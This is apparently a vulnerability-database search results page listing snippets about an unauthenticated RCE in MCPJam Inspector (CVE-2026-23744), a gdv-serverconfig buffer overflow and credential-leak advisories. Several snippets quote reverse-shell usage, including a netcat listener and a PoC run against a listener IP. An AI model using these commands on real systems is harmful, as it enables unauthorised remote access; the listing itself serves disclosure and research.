39 matches found
CVE-2026-23744-RCE-for-MCPjam-inspector-v1.4.2
CVE-2026-23744-RCE-for-MCPjam-inspector-v1.4.2 A critical RCE vulnerability in MCPJam Inspector 3.Start the exploit python3 CVE-2026-23744.py -u -i -p 4.For better usage I recomend to update the terminal to a fully funcional one , otherwise u wont be able to use commands like ctrl^c Example Only...
CVE-2026-23744-RCE
MCPJam Inspector v1.4.2 - Explotación RCE Descripción de la vulnerabilidad MCPJam Inspector contiene una vulnerabilidad de Ejecución Remota de Código RCE no autenticada en el endpoint /api/mcp/connect. La vulnerabilidad permite a los atacantes ejecutar comandos arbitrarios enviando una carga útil...
CVE-2026-23744
CVE-2026-23744: Ejecución Remota de Código No Autenticada en @mcpjam/inspector DESCARGO DE RESPONSABILIDAD: Este repositorio y los scripts asociados están destinados únicamente a evaluaciones de seguridad autorizadas, pruebas de penetración, investigación de seguridad y análisis educativo. Probar...
CVE-2026-23744-POC
CVE-2026-23744 — RCE no autenticado en MCPJam Inspector MCPJam Inspector -i -p -m Flag| Descripción| Por defecto ---|---|--- -u| URL del objetivo| obligatorio -i| IP de tu listener LHOST| obligatorio -p| Puerto de tu listener LPORT| obligatorio -m| Método de payload: busybox, bash, python3| busyb...
-Educational-PoC-CVE-2026-23520
CVE-2026-23520: Model Context Protocol MCP Connect RCE - PoC Educativo - Arcane DESCARGO DE RESPONSABILIDAD: Este repositorio y los scripts que contiene son estrictamente para fines educativos y académicos. La información aquí proporcionada está destinada a ayudar a investigadores de seguridad,...
CVE-2026-23744
CVE-2026-23744 — MCPJam Inspector RCE no autenticado PoC de ejecución remota de código no autenticada para CVE-2026-23744. MCPJam Inspector 1.4.2 y versiones anteriores exponen funcionalidad a través de /api/mcp/connect que puede lanzar un comando de servidor MCP controlado por el atacante sin...
CVE-2026-23744-POC
CVE-2026-23744 — MCPJam Inspector 未認証RCE MCPJam Inspector -i -p -m リバースシェルの例 ステップ1 — リスナーを起動: root@kitploit: nc -lvnp 4444 ステップ2 — エクスプロイトを実行: root@kitploit: bash python3 POC.py -u http://127.0.0.1:6274 -i 10.10.10.10 -p 4444 -m bash ペイロードメソッド ターゲット上で busybox が動作しない場合は、他のメソッドを試してください:...
CVE-2026-35085
A remote attacker with user privileges can exploit a stack buffer overflow in gdv-serverconfig to gain full system access as root...
CVE-2026-35085
A remote attacker with user privileges can exploit a stack buffer overflow in gdv-serverconfig to gain full system access as root...
CVE-2026-35085
CVE-2026-35085 describes a stack buffer overflow in gdv-serverconfig that can be exploited by a remote attacker authenticated with user privileges to achieve full system access as root. The CVE is rated HIGH (CVSS 4.0: 8.7) with NETWORK attack vector, low complexity, and requires low privileges; ...
CVE-2026-35085
A remote attacker with user privileges can exploit a stack buffer overflow in gdv-serverconfig to gain full system access as root...
CVE-2026-35085 Stack buffer overflow in method gdv-serverconfig
A remote attacker with user privileges can exploit a stack buffer overflow in gdv-serverconfig to gain full system access as root...
EUVD-2026-34081
A remote attacker with user privileges can exploit a stack buffer overflow in gdv-serverconfig to gain full system access as root...
CVE-2026-35085 Stack buffer overflow in method gdv-serverconfig
A remote attacker with user privileges can exploit a stack buffer overflow in gdv-serverconfig to gain full system access as root...
MBS多款产品 安全漏洞
MBS Single-A and other products are a series of industrial communication gateways developed by the German company MBS. Several MBS products have security vulnerabilities; these vulnerabilities stem from a stack buffer overflow in the gdv-serverconfig module, which could allow remote attackers to...
CVE-2026-35085: Stack-based Buffer Overflow
A remote attacker with user privileges can exploit a stack buffer overflow in gdv-serverconfig to gain full system access as root...
PT-2026-45926
Name of the Vulnerable Software and Affected Versions gdv-serverconfig affected versions not specified Description A remote attacker with user privileges can exploit a stack buffer overflow in the gdv-serverconfig method to gain full system access with root privileges. A stack buffer overflow...
EUVD-2025-27769
Malicious code in bioql PyPI...
PT-2025-34849 · Unknown · Serverconfig
Name of the Vulnerable Software and Affected Versions: affected versions not specified Description: The serverConfig API endpoint returns the module configuration, including credentials, without requiring authentication. Recommendations: At the moment, there is no information about a newer versio...
CVE-2025-30048: Missing Authentication for Critical Function
The "serverConfig" endpoint, which returns the module configuration including credentials, is accessible without authentication...